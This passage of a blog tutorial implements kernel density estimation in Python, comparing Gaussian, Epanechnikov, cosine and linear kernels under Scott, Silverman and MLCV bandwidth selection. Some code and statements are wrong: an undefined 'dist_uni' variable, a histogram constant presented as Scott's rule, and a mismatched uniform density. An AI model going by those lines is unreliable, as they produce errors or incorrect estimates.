class="hljs-number">0.3</span></div><div class="code-line numbered-code-line" data-line-number="19">    np.random.seed(rand_seed)</div><div class="code-line numbered-code-line" data-line-number="20">    x = np.concatenate([</div><div class="code-line numbered-code-line" data-line-number="21">        np.random.exponential(<span class="hljs-number">1</span>, <span class="hljs-built_in">int</span>(data_count * alpha)),</div><div class="code-line numbered-code-line" data-line-number="22">        np.random.exponential(<span class="hljs-number">1</span>, <span class="hljs-built_in">int</span>(data_count * (<span class="hljs-number">1</span> - alpha))) + <span class="hljs-number">1</span></div><div class="code-line numbered-code-line" data-line-number="23">    ])</div><div class="code-line numbered-code-line" data-line-number="24">    dist = <span class="hljs-keyword">lambda</span> z: alpha * stats.expon(<span class="hljs-number">0</span>).pdf(z) + (<span class="hljs-number">1</span> - alpha) * stats.expon(<span class="hljs-number">1</span>).pdf(z)</div><div class="code-line numbered-code-line" data-line-number="25">    <span class="hljs-keyword">return</span> x, dist</div><div class="code-line numbered-code-line" data-line-number="26"></div><div class="code-line numbered-code-line" data-line-number="27"><span class="hljs-keyword">def</span> <span class="hljs-title function_">make_data_uniform</span>(data_count=<span class="hljs-params hljs-number">100</span>):</div><div class="code-line numbered-code-line" data-line-number="28">    alpha = <span class="hljs-number">0.3</span></div><div class="code-line numbered-code-line" data-line-number="29">    np.random.seed(rand_seed)</div><div class="code-line numbered-code-line" data-line-number="30">    x = np.concatenate([</div><div class="code-line numbered-code-line" data-line-number="31">        np.random.uniform(-<span class="hljs-number">1</span>, <span class="hljs-number">1</span>, <span class="hljs-built_in">int</span>(data_count * alpha)),</div><div class="code-line numbered-code-line" data-line-number="32">        np.random.uniform(<span class="hljs-number">0</span>, <span class="hljs-number">1</span>, <span class="hljs-built_in">int</span>(data_count * (<span class="hljs-number">1</span> - alpha)))</div><div class="code-line numbered-code-line" data-line-number="33">    ])</div><div class="code-line numbered-code-line" data-line-number="34">    dist = <span class="hljs-keyword">lambda</span> z: alpha * stats.uniform(-<span class="hljs-number">1</span>, <span class="hljs-number">1</span>).pdf(z) + (<span class="hljs-number">1</span> - alpha) * stats.uniform(<span class="hljs-number">0</span>, <span class="hljs-number">1</span>).pdf(z)</div><div class="code-line numbered-code-line" data-line-number="35">    <span class="hljs-keyword">return</span> x, dist</div><div class="code-line numbered-code-line" data-line-number="36"></div><div class="code-line numbered-code-line" data-line-number="37">x_norm, dist_norm = make_data_normal()</div><div class="code-line numbered-code-line" data-line-number="38">x_binorm, dist_binorm = make_data_binormal()</div><div class="code-line numbered-code-line" data-line-number="39">x_exp, dist_exp = make_data_exp()</div><div class="code-line numbered-code-line" data-line-number="40">x_uni, dist_exp = make_data_uniform()</div></code></pre>
<p>Let's see what these distributions look like:</p>
<pre><code class="hljs language-python" class="hljs"><div class="code-line numbered-code-line" data-line-number="1">fig, ax = plt.subplots(<span class="hljs-number">1</span>, <span class="hljs-number">4</span>, figsize=(<span class="hljs-number">12</span>, <span class="hljs-number">3</span>))</div><div class="code-line numbered-code-line" data-line-number="2">names = [<span class="hljs-string">'Normal'</span>, <span class="hljs-string">'Bi-normal'</span>, <span class="hljs-string">'Exponential'</span>, <span class="hljs-string">'Bi-Uniform'</span>]</div><div class="code-line numbered-code-line" data-line-number="3"><span class="hljs-keyword">for</span> i, d <span class="hljs-keyword">in</span> <span class="hljs-built_in">enumerate</span>([dist_norm, dist_binorm, dist_exp, dist_uni]):</div><div class="code-line numbered-code-line" data-line-number="4">    x = np.linspace(-<span class="hljs-number">8</span>, <span class="hljs-number">8</span>, <span class="hljs-number">100</span>)</div><div class="code-line numbered-code-line" data-line-number="5">    ax[i].fill(x, d(x), color=<span class="hljs-string">'C0'</span>, alpha=<span class="hljs-number">0.5</span>)</div><div class="code-line numbered-code-line" data-line-number="6">    ax[i].set_ylim(<span class="hljs-number">0</span>, <span class="hljs-number">1</span>)</div><div class="code-line numbered-code-line" data-line-number="7">    ax[i].set_xlim(-<span class="hljs-number">8</span>, <span class="hljs-number">8</span>)</div><div class="code-line numbered-code-line" data-line-number="8">    ax[i].set_xlabel(<span class="hljs-string">'x'</span>)</div><div class="code-line numbered-code-line" data-line-number="9">    ax[i].set_ylabel(<span class="hljs-string">'p(x)'</span>)</div><div class="code-line numbered-code-line" data-line-number="10">    ax[i].set_title(names[i])</div><div class="code-line numbered-code-line" data-line-number="11">fig.tight_layout()</div><div class="code-line numbered-code-line" data-line-number="12">fig.show()</div></code></pre>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/v2/img/2023/01/05/1672927871850.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/v2/img/2023/01/05/1672927871850.png" alt="image-20230105221111598" loading="lazy" data-wrapped="true"></a></p>
<p>The probability of selecting a value of x at each sample attempt is represented by p(x). We will now define some kernel functions. We will consider four common kernel functions: gaussian, epanechnikov, cosine, and linear. In most cases, you can choose either gaussian or epanechnikov. It's also worth noting that the choice of the kernel function is not as important for the performance of KDE as the bandwidth. The differences in results between different kernels are subtle.</p>
<pre><code class="hljs language-python" class="hljs"><div class="code-line numbered-code-line" data-line-number="1"><span class="hljs-keyword">def</span> <span class="hljs-title function_">kernel</span>(k: <span class="hljs-params hljs-built_in">str</span>):</div><div class="code-line numbered-code-line" data-line-number="2">    <span class="hljs-string">"""Kernel Functions.
    Ref: https://en.wikipedia.org/wiki/Kernel_(statistics)

    Args:
        k (str): Kernel name. Can be one of ['gaussian', 'epanechnikov', 'cosine', 'linear'.]
    """</span></div><div class="code-line numbered-code-line" data-line-number="3"></div><div class="code-line numbered-code-line" data-line-number="4">    <span class="hljs-keyword">if</span> k <span class="hljs-keyword">not</span> <span class="hljs-keyword">in</span> [<span class="hljs-string">'gaussian'</span>, <span class="hljs-string">'epanechnikov'</span>, <span class="hljs-string">'cosine'</span>, <span class="hljs-string">'linear'</span>]:</div><div class="code-line numbered-code-line" data-line-number="5">        <span class="hljs-keyword">raise</span> ValueError(<span class="hljs-string">'Unknown kernel.'</span>)</div><div class="code-line numbered-code-line" data-line-number="6"></div><div class="code-line numbered-code-line" data-line-number="7">    <span class="hljs-keyword">def</span> <span class="hljs-title function_">bounded</span>(<span class="hljs-params">f</span>):</div><div class="code-line numbered-code-line" data-line-number="8">        <span class="hljs-keyword">def</span> <span class="hljs-title function_">_f</span>(<span class="hljs-params">x</span>):</div><div class="code-line numbered-code-line" data-line-number="9">            <span class="hljs-keyword">return</span> f(x) <span class="hljs-keyword">if</span> np.<span class="hljs-built_in">abs</span>(x) &#x3C;= <span class="hljs-number">1</span> <span class="hljs-keyword">else</span> <span class="hljs-number">0</span></div><div class="code-line numbered-code-line" data-line-number="10">        <span class="hljs-keyword">return</span> _f</div><div class="code-line numbered-code-line" data-line-number="11"></div><div class="code-line numbered-code-line" data-line-number="12">    <span class="hljs-keyword">if</span> k == <span class="hljs-string">'gaussian'</span>:</div><div class="code-line numbered-code-line" data-line-number="13">        <span class="hljs-keyword">return</span> <span class="hljs-keyword">lambda</span> u: <span class="hljs-number">1</span> / np.sqrt(<span class="hljs-number">2</span> * np.pi) * np.exp(-<span class="hljs-number">1</span> / <span class="hljs-number">2</span> * u * u)</div><div class="code-line numbered-code-line" data-line-number="14">    <span class="hljs-keyword">elif</span> k == <span class="hljs-string">'epanechnikov'</span>:</div><div class="code-line numbered-code-line" data-line-number="15">        <span class="hljs-keyword">return</span> bounded(<span class="hljs-keyword">lambda</span> u: (<span class="hljs-number">3</span> / <span class="hljs-number">4</span> * (<span class="hljs-number">1</span> - u * u)))</div><div class="code-line numbered-code-line" data-line-number="16">    <span class="hljs-keyword">elif</span> k ==<span class="hljs-string">'cosine'</span>:</div><div class="code-line numbered-code-line" data-line-number="17">        <span class="hljs-keyword">return</span> bounded(<span class="hljs-keyword">lambda</span> u: np.pi / <span class="hljs-number">4</span> * np.cos(np.pi / <span class="hljs-number">2</span> * u))</div><div class="code-line numbered-code-line" data-line-number="18">    <span class="hljs-keyword">elif</span> k == <span class="hljs-string">'linear'</span>:</div><div class="code-line numbered-code-line" data-line-number="19">        <span class="hljs-keyword">return</span> bounded(<span class="hljs-keyword">lambda</span> u: <span class="hljs-number">1</span> - np.<span class="hljs-built_in">abs</span>(u))</div></code></pre>
<p>You can check the size of the kernels from the <a href="https://en.wikipedia.org/wiki/Kernel_(statistics)">source</a>. <code>bounded</code> is a wrapper function that intends to crop the function to make it satisfy |x| &#x3C;= 1. Next, we will look at the bandwidth parameter h of the kernel function. The following picture demonstrates how the KDE results are affected drastically by bandwidth. A larger h will make the curve smoother or even over-smoothing, a smaller h will make the curve sharper, while under-smoothing will lead to unwanted spikes.</p>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/v2/img/2023/01/05/1672923701446.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/v2/img/2023/01/05/1672923701446.png" alt="" loading="lazy" data-wrapped="true"></a></p>
<p>The choice of h is quite important to the KDE result. Through trial and error, you can always find a good fit for the dataset. But what if we want an algorithm that automatically gives us an optimal bandwidth for a given dataset? Here we consider three methods: Scott's rule of thumb <sup><a href="#user-content-fn-1" id="user-content-fnref-1" data-footnote-ref aria-describedby="footnote-label">1</a></sup>, Silverman's rule of thumb <sup><a href="#user-content-fn-2" id="user-content-fnref-2" data-footnote-ref aria-describedby="footnote-label">2</a></sup>, and MLCV (Maximum Likelihood Cross Validation) <sup><a href="#user-content-fn-3" id="user-content-fnref-3" data-footnote-ref aria-describedby="footnote-label">3</a></sup> method.</p>
<pre><code class="hljs language-Python" class="hljs"><div class="code-line numbered-code-line" data-line-number="1"><span class="hljs-keyword">def</span> <span class="hljs-title function_">bw_scott</span>(<span class="hljs-params">data: np.ndarray</span>):</div><div class="code-line numbered-code-line" data-line-number="2">    std_dev = np.std(data, axis=<span class="hljs-number">0</span>, ddof=<span class="hljs-number">1</span>)</div><div class="code-line numbered-code-line" data-line-number="3">    n = <span class="hljs-built_in">len</span>(data)</div><div class="code-line numbered-code-line" data-line-number="4">    <span class="hljs-keyword">return</span> <span class="hljs-number">3.49</span> * std_dev * n ** (-<span class="hljs-number">0.333</span>)</div><div class="code-line numbered-code-line" data-line-number="5"></div><div class="code-line numbered-code-line" data-line-number="6"><span class="hljs-keyword">def</span> <span class="hljs-title function_">bw_silverman</span>(<span class="hljs-params">data: np.ndarray</span>):</div><div class="code-line numbered-code-line" data-line-number="7">    <span class="hljs-keyword">def</span> <span class="hljs-title function_">_select_sigma</span>(<span class="hljs-params">x</span>):</div><div class="code-line numbered-code-line" data-line-number="8">        normalizer = <span class="hljs-number">1.349</span></div><div class="code-line numbered-code-line" data-line-number="9">        iqr = (stats.scoreatpercentile(x, <span class="hljs-number">75</span>) - stats.scoreatpercentile(x, <span class="hljs-number">25</span>)) / normalizer</div><div class="code-line numbered-code-line" data-line-number="10">        std_dev = np.std(x, axis=<span class="hljs-number">0</span>, ddof=<span class="hljs-number">1</span>)</div><div class="code-line numbered-code-line" data-line-number="11">        <span class="hljs-keyword">return</span> np.minimum(std_dev, iqr) <span class="hljs-keyword">if</span> iqr > <span class="hljs-number">0</span> <span class="hljs-keyword">else</span> std_dev</div><div class="code-line numbered-code-line" data-line-number="12">    sigma = _select_sigma(data)</div><div class="code-line numbered-code-line" data-line-number="13">    n = <span class="hljs-built_in">len</span>(data)</div><div class="code-line numbered-code-line" data-line-number="14">    <span class="hljs-keyword">return</span> <span class="hljs-number">0.9</span> * sigma * n ** (-<span class="hljs-number">0.2</span>)</div><div class="code-line numbered-code-line" data-line-number="15"></div><div class="code-line numbered-code-line" data-line-number="16"><span class="hljs-keyword">def</span> <span class="hljs-title function_">bw_mlcv</span>(<span class="hljs-params">data: np.ndarray, k</span>):</div><div class="code-line numbered-code-line" data-line-number="17">    <span class="hljs-string">"""
    Ref: https://rdrr.io/cran/kedd/src/R/MLCV.R
    """</span></div><div class="code-line numbered-code-line" data-line-number="18">    n = <span class="hljs-built_in">len</span>(data)</div><div class="code-line numbered-code-line" data-line-number="19">    x = np.linspace(np.<span class="hljs-built_in">min</span>(data), np.<span class="hljs-built_in">max</span>(data), n)</div><div class="code-line numbered-code-line" data-line-number="20">    <span class="hljs-keyword">def</span> <span class="hljs-title function_">mlcv</span>(<span class="hljs-params">h</span>):</div><div class="code-line numbered-code-line" data-line-number="21">        fj = np.zeros(n)</div><div class="code-line numbered-code-line" data-line-number="22">        <span class="hljs-keyword">for</span> j <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(n):</div><div class="code-line numbered-code-line" data-line-number="23">            <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(n):</div><div class="code-line numbered-code-line" data-line-number="24">                <span class="hljs-keyword">if</span> i == j: <span class="hljs-keyword">continue</span></div><div class="code-line numbered-code-line" data-line-number="25">                fj[j] += k((x[j] - data[i]) / h)</div><div class="code-line numbered-code-line" data-line-number="26">            fj[j] /= (n - <span class="hljs-number">1</span>) * h</div><div class="code-line numbered-code-line" data-line-number="27">        <span class="hljs-keyword">return</span> -np.mean(np.log(fj[fj > <span class="hljs-number">0</span>]))</div><div class="code-line numbered-code-line" data-line-number="28">    h = optimize.minimize(mlcv, <span class="hljs-number">1</span>)</div><div class="code-line numbered-code-line" data-line-number="29">    <span class="hljs-keyword">if</span> np.<span class="hljs-built_in">abs</span>(h.x[<span class="hljs-number">0</span>]) > <span class="hljs-number">10</span>:</div><div class="code-line numbered-code-line" data-line-number="30">        <span class="hljs-keyword">return</span> bw_scott(data)</div><div class="code-line numbered-code-line" data-line-number="31">    <span class="hljs-keyword">return</span> h.x[<span class="hljs-number">0</span>]</div><div class="code-line numbered-code-line" data-line-number="32"></div></code></pre>
<p>As shown in the code, Scott's rule of thumb is formulated as: <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>h</mi><mo>=</mo><mn>3.49</mn><mi>s</mi><msup><mi>n</mi><mrow><mo stretchy="false">(</mo><mo>−</mo><mn>1</mn><mi mathvariant="normal">/</mi><mn>3</mn><mo stretchy="false">)</mo></mrow></msup></mrow><annotation encoding="application/x-tex">h = 3.49 s n^{(-1/3)}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">h</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.888em;"></span><span class="mord">3.49</span><span class="mord mathnormal">s</span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.888em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mopen mtight">(</span><span class="mord mtight">−</span><span class="mord mtight">1/3</span><span class="mclose mtight">)</span></span></span></span></span></span></span></span></span></span></span></span>; Silverman's rule of thumb is formulated as:<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>h</mi><mo>=</mo><mn>0.9</mn><mi>min</mi><mo>⁡</mo><mo stretchy="false">(</mo><mi>s</mi><mo separator="true">,</mo><mi>I</mi><mi>Q</mi><mi>R</mi><mi mathvariant="normal">/</mi><mn>1.349</mn><mo stretchy="false">)</mo><msup><mi>n</mi><mrow><mo stretchy="false">(</mo><mo>−</mo><mn>1</mn><mi mathvariant="normal">/</mi><mn>5</mn><mo stretchy="false">)</mo></mrow></msup></mrow><annotation encoding="application/x-tex"> h = 0.9 \min(s, IQR / 1.349) n ^{(-1/5)}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">h</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.138em;vertical-align:-0.25em;"></span><span class="mord">0.9</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop">min</span><span class="mopen">(</span><span class="mord mathnormal">s</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mord mathnormal" style="margin-right:0.00773em;">QR</span><span class="mord">/1.349</span><span class="mclose">)</span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.888em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mopen mtight">(</span><span class="mord mtight">−</span><span class="mord mtight">1/5</span><span class="mclose mtight">)</span></span></span></span></span></span></span></span></span></span></span></span>. While IQR is the interquartile range, s is the standard derivation of observed data, and n is the number of samples. For MLCV method, the goal is to maximize the likelihood of estimated data calculated from <em>leave-one-out estimator</em>. <a href="https://medium.com/analytics-vidhya/kernel-density-estimation-kernel-construction-and-bandwidth-optimization-using-maximum-b1dfce127073">This post</a> by Niranjan is a good demonstration of the process. There are also many other methods for choosing the optimal bandwidth, like AMISE (Asymptotic Mean Integrated Squared Error), Taylor bootstrap method, DO-validation, etc. You can check <a href="https://aakinshin.net/posts/kde-bw/">This post</a> by Andrey for further reading.</p>
<p>Next, we come to the KDE function itself.</p>
<pre><code class="hljs language-python" class="hljs"><div class="code-line numbered-code-line" data-line-number="1"><span class="hljs-keyword">def</span> <span class="hljs-title function_">kde</span>(data, k=<span class="hljs-params hljs-literal">None</span>, h=<span class="hljs-params hljs-literal">None</span>, x=<span class="hljs-params hljs-literal">None</span>):</div><div class="code-line numbered-code-line" data-line-number="2">    <span class="hljs-string">"""Kernel Density Estimation.

    Args:
        data (np.ndarray): Data.
        k (function): Kernel function.
        h (float): Bandwidth.
        x (np.ndarray, optional): Grid. Defaults to None.

    Returns:
        np.ndarray: Kernel density estimation.
    """</span></div><div class="code-line numbered-code-line" data-line-number="3">    <span class="hljs-keyword">if</span> x <span class="hljs-keyword">is</span> <span class="hljs-literal">None</span>:</div><div class="code-line numbered-code-line" data-line-number="4">        x = np.linspace(np.<span class="hljs-built_in">min</span>(data), np.<span class="hljs-built_in">max</span>(data), <span class="hljs-number">1000</span>)</div><div class="code-line numbered-code-line" data-line-number="5">    <span class="hljs-keyword">if</span> h <span class="hljs-keyword">is</span> <span class="hljs-literal">None</span>:</div><div class="code-line numbered-code-line" data-line-number="6">        h = bw_silverman(data)</div><div class="code-line numbered-code-line" data-line-number="7">    <span class="hljs-keyword">if</span> k <span class="hljs-keyword">is</span> <span class="hljs-literal">None</span>:</div><div class="code-line numbered-code-line" data-line-number="8">        k = kernel(<span class="hljs-string">'gaussian'</span>)</div><div class="code-line numbered-code-line" data-line-number="9">    n = <span class="hljs-built_in">len</span>(data)</div><div class="code-line numbered-code-line" data-line-number="10">    kde = np.zeros_like(x)</div><div class="code-line numbered-code-line" data-line-number="11">    <span class="hljs-keyword">for</span> j <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-built_in">len</span>(x)):</div><div class="code-line numbered-code-line" data-line-number="12">        <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(n):</div><div class="code-line numbered-code-line" data-line-number="13">            kde[j] += k((x[j] - data[i]) / h)</div><div class="code-line numbered-code-line" data-line-number="14">        kde[j] /= n * h</div><div class="code-line numbered-code-line" data-line-number="15">    <span class="hljs-keyword">return</span> kde</div></code></pre>
<p>This kde function should looks easier than you think. With the above preparations, we now have four datasets, four kernel functions, and three bandwidth selection methods. Let's put them all together, record the MSEs and compare their KDE results with matplotlib.</p>
<pre><code class="hljs language-python" class="hljs"><div class="code-line numbered-code-line" data-line-number="1">data = [</div><div class="code-line numbered-code-line" data-line-number="2">    (<span class="hljs-string">'Normal'</span>, make_data_normal),</div><div class="code-line numbered-code-line" data-line-number="3">    (<span class="hljs-string">'Bimodal (Normal)'</span>, make_data_binormal),</div><div class="code-line numbered-code-line" data-line-number="4">    (<span class="hljs-string">'Bimodal (Exp)'</span>, make_data_exp),</div><div class="code-line numbered-code-line" data-line-number="5">    (<span class="hljs-string">'Bimodal (Uniform)'</span>, make_data_uniform)</div><div class="code-line numbered-code-line" data-line-number="6">]</div><div class="code-line numbered-code-line" data-line-number="7">kernels = [</div><div class="code-line numbered-code-line" data-line-number="8">    (<span class="hljs-string">'Gaussian'</span>, kernel(<span class="hljs-string">'gaussian'</span>)),</div><div class="code-line numbered-code-line" data-line-number="9">    (<span class="hljs-string">'Epanechnikov'</span>, kernel(<span class="hljs-string">'epanechnikov'</span>)),</div><div class="code-line numbered-code-line" data-line-number="10">    (<span class="hljs-string">'Cosine'</span>, kernel(<span class="hljs-string">'cosine'</span>)),</div><div class="code-line numbered-code-line" data-line-number="11">    (<span class="hljs-string">'Linear'</span>, kernel(<span class="hljs-string">'linear'</span>))</div><div class="code-line numbered-code-line" data-line-number="12">]</div><div class="code-line numbered-code-line" data-line-number="13">bw_algorithms = [</div><div class="code-line numbered-code-line" data-line-number="14">    (<span class="hljs-string">'Scott'</span>, bw_scott),</div><div class="code-line numbered-code-line" data-line-number="15">    (<span class="hljs-string">'Silverman'</span>, bw_silverman),</div><div class="code-line numbered-code-line" data-line-number="16">    (<span class="hljs-string">'MLCV'</span>, bw_mlcv),</div><div class="code-line numbered-code-line" data-line-number="17">]</div><div class="code-line numbered-code-line" data-line-number="18">mses = []</div><div class="code-line numbered-code-line" data-line-number="19"></div><div class="code-line numbered-code-line" data-line-number="20"><span class="hljs-keyword">def</span> <span class="hljs-title function_">run_kde</span>(<span class="hljs-params">ax, data, kernel</span>):</div><div class="code-line numbered-code-line" data-line-number="21">    x, dist = data[<span class="hljs-number">1</span>]()</div><div class="code-line numbered-code-line" data-line-number="22">    x_plot = np.linspace(np.<span class="hljs-built_in">min</span>(x) * <span class="hljs-number">1.05</span>, np.<span class="hljs-built_in">max</span>(x) * <span class="hljs-number">1.05</span>, <span class="hljs-number">1000</span>)</div><div class="code-line numbered-code-line" data-line-number="23">    ax.grid(<span class="hljs-literal">True</span>)</div><div class="code-line numbered-code-line" data-line-number="24">    ax.fill_between(x_plot, dist(x_plot), fc=<span class="hljs-string">'silver'</span>, alpha=<span class="hljs-number">0.5</span>)</div><div class="code-line numbered-code-line" data-line-number="25">    ax.plot(x, np.full_like(x, -<span class="hljs-number">0.02</span>), <span class="hljs-string">'|k'</span>, markeredgewidth=<span class="hljs-number">1</span>)</div><div class="code-line numbered-code-line" data-line-number="26">    ax.hist(x, density=<span class="hljs-literal">True</span>, alpha=<span class="hljs-number">0.2</span>, bins=<span class="hljs-number">20</span>, rwidth=<span class="hljs-number">0.9</span>)</div><div class="code-line numbered-code-line" data-line-number="27">    <span class="hljs-keyword">for</span> bw <span class="hljs-keyword">in</span> bw_algorithms:</div><div class="code-line numbered-code-line" data-line-number="28">        <span class="hljs-keyword">if</span> bw[<span class="hljs-number">0</span>] == <span class="hljs-string">'MLCV'</span>:</div><div class="code-line numbered-code-line" data-line-number="29">            h = bw[<span class="hljs-number">1</span>](x, kernel[<span class="hljs-number">1</span>])</div><div class="code-line numbered-code-line" data-line-number="30">        <span class="hljs-keyword">else</span>:</div><div class="code-line numbered-code-line" data-line-number="31">            h = bw[<span class="hljs-number">1</span>](x)</div><div class="code-line numbered-code-line" data-line-number="32">        x_kde = kde(x, kernel[<span class="hljs-number">1</span>], h=h, x=x_plot)</div><div class="code-line numbered-code-line" data-line-number="33">        mse = np.mean((dist(x_plot) - x_kde) ** <span class="hljs-number">2</span>)</div><div class="code-line numbered-code-line" data-line-number="34">        mses.append({</div><div class="code-line numbered-code-line" data-line-number="35">            <span class="hljs-string">'data'</span>: data[<span class="hljs-number">0</span>],</div><div class="code-line numbered-code-line" data-line-number="36">            <span class="hljs-string">'kernel'</span>: kernel[<span class="hljs-number">0</span>],</div><div class="code-line numbered-code-line" data-line-number="37">            <span class="hljs-string">'bw_algorithm'</span>: bw[<span class="hljs-number">0</span>],</div><div class="code-line numbered-code-line" data-line-number="38">            <span class="hljs-string">'h'</span>: <span class="hljs-built_in">round</span>(h, <span class="hljs-number">5</span>),</div><div class="code-line numbered-code-line" data-line-number="39">            <span class="hljs-string">'mse'</span>: <span class="hljs-built_in">round</span>(mse * <span class="hljs-number">1000</span>, <span class="hljs-number">5</span>), <span class="hljs-comment"># To make differences more noticable</span></div><div class="code-line numbered-code-line" data-line-number="40">        })</div><div class="code-line numbered-code-line" data-line-number="41">        ax.plot(x_plot, x_kde, linewidth=<span class="hljs-number">1</span>, label=<span class="hljs-string">'$h_{\mathrm{'</span> + bw[<span class="hljs-number">0</span>] + <span class="hljs-string">'}} = '</span> + <span class="hljs-built_in">str</span>(<span class="hljs-built_in">round</span>(h, <span class="hljs-number">5</span>)) + <span class="hljs-string">'$'</span>)</div><div class="code-line numbered-code-line" data-line-number="42">    ax.legend(loc=<span class="hljs-string">'best'</span>, fontsize=<span class="hljs-string">'small'</span>)</div><div class="code-line numbered-code-line" data-line-number="43">    ax.set_title(f'{data[<span class="hljs-string hljs-subst hljs-number">0</span>]}, {kernel[<span class="hljs-string hljs-subst hljs-number">0</span>]}')</div><div class="code-line numbered-code-line" data-line-number="44"></div><div class="code-line numbered-code-line" data-line-number="45">fig, axs = plt.subplots(<span class="hljs-built_in">len</span>(data), <span class="hljs-built_in">len</span>(kernels), figsize=(<span class="hljs-number">16</span>, <span class="hljs-number">12</span>))</div><div class="code-line numbered-code-line" data-line-number="46"></div><div class="code-line numbered-code-line" data-line-number="47"><span class="hljs-keyword">for</span> i, d <span class="hljs-keyword">in</span> <span class="hljs-built_in">enumerate</span>(data):</div><div class="code-line numbered-code-line" data-line-number="48">    <span class="hljs-keyword">for</span> j, k <span class="hljs-keyword">in</span> <span class="hljs-built_in">enumerate</span>(kernels):</div><div class="code-line numbered-code-line" data-line-number="49">        run_kde(axs[i, j], d, k)</div><div class="code-line numbered-code-line" data-line-number="50">    <span class="hljs-keyword">for</span> bw <span class="hljs-keyword">in</span> bw_algorithms:</div><div class="code-line numbered-code-line" data-line-number="51">        avg_h = np.mean([m[<span class="hljs-string">'h'</span>] <span class="hljs-keyword">for</span> m <span class="hljs-keyword">in</span> mses <span class="hljs-keyword">if</span> m[<span class="hljs-string">'data'</span>] == d[<span class="hljs-number">0</span>] <span class="hljs-keyword">and</span> m[<span class="hljs-string">'bw_algorithm'</span>] == bw[<span class="hljs-number">0</span>]])</div><div class="code-line numbered-code-line" data-line-number="52">        avg_mse = np.mean([m[<span class="hljs-string">'mse'</span>] <span class="hljs-keyword">for</span> m <span class="hljs-keyword">in</span> mses <span class="hljs-keyword">if</span> m[<span class="hljs-string">'data'</span>] == d[<span class="hljs-number">0</span>] <span class="hljs-keyword">and</span> m[<span class="hljs-string">'bw_algorithm'</span>] == bw[<span class="hljs-number">0</span>]])</div><div class="code-line numbered-code-line" data-line-number="53">        mses.append({</div><div class="code-line numbered-code-line" data-line-number="54">            <span class="hljs-string">'data'</span>: d[<span class="hljs-number">0</span>],</div><div class="code-line numbered-code-line" data-line-number="55">            <span class="hljs-string">'kernel'</span>: <span class="hljs-string">'-'</span>,</div><div class="code-line numbered-code-line" data-line-number="56">            <span class="hljs-string">'bw_algorithm'</span>: bw[<span class="hljs-number">0</span>],</div><div class="code-line numbered-code-line" data-line-number="57">            <span class="hljs-string">'h'</span>: <span class="hljs-built_in">round</span>(avg_h, <span class="hljs-number">5</span>),</div><div class="code-line numbered-code-line" data-line-number="58">            <span class="hljs-string">'mse'</span>: <span class="hljs-built_in">round</span>(avg_mse, <span class="hljs-number">5</span>),</div><div class="code-line numbered-code-line" data-line-number="59">        })</div><div class="code-line numbered-code-line" data-line-number="60"></div><div class="code-line numbered-code-line" data-line-number="61">fig.tight_layout()</div><div class="code-line numbered-code-line" data-line-number="62">fig.show()</div><div class="code-line numbered-code-line" data-line-number="63">fig.savefig(<span class="hljs-string">'eval.pdf'</span>)</div><div class="code-line numbered-code-line" data-line-number="64">pd.DataFrame(mses).to_csv(<span class="hljs-string">'eval.csv'</span>, index=<span class="hljs-literal">False</span>)</div></code></pre>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/v2/img/2023/01/05/1672928490630.jpg"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/v2/img/2023/01/05/1672928490630.jpg" alt="eval" loading="lazy" data-wrapped="true"></a></p>
<p>Here we can compare the KDE results of different methods with the real distribution and the histogram. If you followed these steps, you should also be able to see the Mean Square Error (MSE) of each method, kernel and dataset combination in the <code>eval.csv</code> file. The code is also available at <a href="https://github.com/jtchen2k/KDEBandwidth">https://github.com/jtchen2k/KDEBandwidth</a>.</p>
<h2 id="to-sum-up"><a href="#to-sum-up">To Sum Up</a></h2>
<p>The results show that Silverman's method is a simple and effective  option in most cases. While the maximum likelihood cross-validation  (MLCV) method is more mathematically sound, it is much more  computationally expensive. Silverman's method is also the default  algorithm for selecting the bandwidth in many open-source libraries. The choice of bandwidth selection method has been a topic of intense debate among statisticians during the 1960s and 1970s. If you are interested,  you can refer to Scott's textbook on density estimation <sup><a href="#user-content-fn-4" id="user-content-fnref-4" data-footnote-ref aria-describedby="footnote-label">4</a></sup>. Recent research may have focused more on multivariate density estimation and the  combination of cross-validation and plug-in methods.</p>
<section data-footnotes class="footnotes"><h2 class="sr-only" id="footnote-label"><a href="#footnote-label">Footnotes</a></h2>
<ol>
<li id="user-content-fn-1">
